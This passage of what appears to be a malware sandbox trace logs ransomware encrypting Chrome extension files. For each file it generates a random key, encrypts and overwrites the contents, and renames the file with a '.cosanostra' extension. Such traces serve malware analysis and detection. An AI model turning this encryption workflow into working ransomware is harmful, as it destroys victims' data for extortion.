nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6ec*=0x30, lpOverlapped=0x0) returned 1 [0086.145] CloseHandle (hObject=0x18c) returned 1 [0086.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.cosanostra")) returned 1 [0086.146] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf730 | out: pbBuffer=0x2abf730) returned 1 [0086.146] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf728*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf728*=0x30) returned 1 [0086.146] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.146] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 151 [0086.146] StrStrW (lpFirst="eventpage_bin_prod.js", lpSrch=".txt") returned 0x0 [0086.266] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.266] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf6ec, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6ec*=0x2800, lpOverlapped=0x0) returned 1 [0086.266] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.266] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6ec, lpOverlapped=0x0 | out: lpBuffer=0x2abf72c*, lpNumberOfBytesWritten=0x2abf6ec*=0x4, lpOverlapped=0x0) returned 1 [0086.267] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6ec*=0x30, lpOverlapped=0x0) returned 1 [0086.267] CloseHandle (hObject=0x18c) returned 1 [0086.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.cosanostra")) returned 1 [0086.268] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf728 | out: pbBuffer=0x2abf728) returned 1 [0086.268] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf720*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf720*=0x30) returned 1 [0086.268] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.269] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 155 [0086.269] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.269] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff45, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.269] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x2abf6e4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6e4*=0xbb, lpOverlapped=0x0) returned 1 [0086.270] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.270] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf724*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6e4, lpOverlapped=0x0 | out: lpBuffer=0x2abf724*, lpNumberOfBytesWritten=0x2abf6e4*=0x4, lpOverlapped=0x0) returned 1 [0086.270] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6e4*=0x30, lpOverlapped=0x0) returned 1 [0086.270] CloseHandle (hObject=0x18c) returned 1 [0086.270] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.cosanostra")) returned 1 [0086.272] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf720 | out: pbBuffer=0x2abf720) returned 1 [0086.272] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf718*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf718*=0x30) returned 1 [0086.272] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.272] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 155 [0086.272] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.337] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd67, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.337] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x299, lpNumberOfBytesWritten=0x2abf6dc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6dc*=0x299, lpOverlapped=0x0) returned 1 [0086.337] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.337] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf71c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6dc, lpOverlapped=0x0 | out: lpBuffer=0x2abf71c*, lpNumberOfBytesWritten=0x2abf6dc*=0x4, lpOverlapped=0x0) returned 1 [0086.338] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6dc*=0x30, lpOverlapped=0x0) returned 1 [0086.338] CloseHandle (hObject=0x18c) returned 1 [0086.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.cosanostra")) returned 1 [0086.338] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf718 | out: pbBuffer=0x2abf718) returned 1 [0086.338] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf710*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf710*=0x30) returned 1 [0086.339] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.339] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 137 [0086.339] StrStrW (lpFirst="128.png", lpSrch=".txt") returned 0x0 [0086.369] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffec88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.369] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x1378, lpNumberOfBytesWritten=0x2abf6d4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6d4*=0x1378, lpOverlapped=0x0) returned 1 [0086.369] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.369] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf714*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6d4, lpOverlapped=0x0 | out: lpBuffer=0x2abf714*, lpNumberOfBytesWritten=0x2abf6d4*=0x4, lpOverlapped=0x0) returned 1 [0086.369] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6d4*=0x30, lpOverlapped=0x0) returned 1 [0086.369] CloseHandle (hObject=0x18c) returned 1 [0086.369] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.cosanostra")) returned 1 [0086.371] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf710 | out: pbBuffer=0x2abf710) returned 1 [0086.371] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf708*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf708*=0x30) returned 1 [0086.371] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.372] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 155 [0086.372] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.373] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffef6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.373] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2abf6cc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6cc*=0x10a, lpOverlapped=0x0) returned 1 [0086.373] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.373] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf70c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6cc, lpOverlapped=0x0 | out: lpBuffer=0x2abf70c*, lpNumberOfBytesWritten=0x2abf6cc*=0x4, lpOverlapped=0x0) returned 1 [0086.373] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6cc*=0x30, lpOverlapped=0x0) returned 1 [0086.373] CloseHandle (hObject=0x18c) returned 1 [0086.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.cosanostra")) returned 1 [0086.375] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf708 | out: pbBuffer=0x2abf708) returned 1 [0086.375] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf700*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf700*=0x30) returned 1 [0086.375] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.376] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 155 [0086.376] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.377] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.377] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x2abf6c4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6c4*=0xd8, lpOverlapped=0x0) returned 1 [0086.377] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.377] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf704*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6c4, lpOverlapped=0x0 | out: lpBuffer=0x2abf704*, lpNumberOfBytesWritten=0x2abf6c4*=0x4, lpOverlapped=0x0) returned 1 [0086.377] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6c4*=0x30, lpOverlapped=0x0) returned 1 [0086.377] CloseHandle (hObject=0x18c) returned 1 [0086.377] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.cosanostra")) returned 1 [0086.379] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf700 | out: pbBuffer=0x2abf700) returned 1 [0086.379] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf6f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf6f8*=0x30) returned 1 [0086.379] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.380] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 155 [0086.380] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.381] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.381] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abf6bc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6bc*=0xec, lpOverlapped=0x0) returned 1 [0086.381] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.381] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf6fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6bc, lpOverlapped=0x0 | out: lpBuffer=0x2abf6fc*, lpNumberOfBytesWritten=0x2abf6bc*=0x4, lpOverlapped=0x0) returned 1 [0086.381] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6bc*=0x30, lpOverlapped=0x0) returned 1 [0086.381] CloseHandle (hObject=0x18c) returned 1 [0086.381] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.cosanostra")) returned 1 [0086.383] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6f8 | out: pbBuffer=0x2abf6f8) returned 1 [0086.383] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf6f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf6f0*=0x30) returned 1 [0086.383] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.384] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 155 [0086.384] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.419] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.419] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x2abf6b4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6b4*=0xde, lpOverlapped=0x0) returned 1 [0086.419] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.419] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf6f4*, nNumberOfBytesToWrite=0x4, 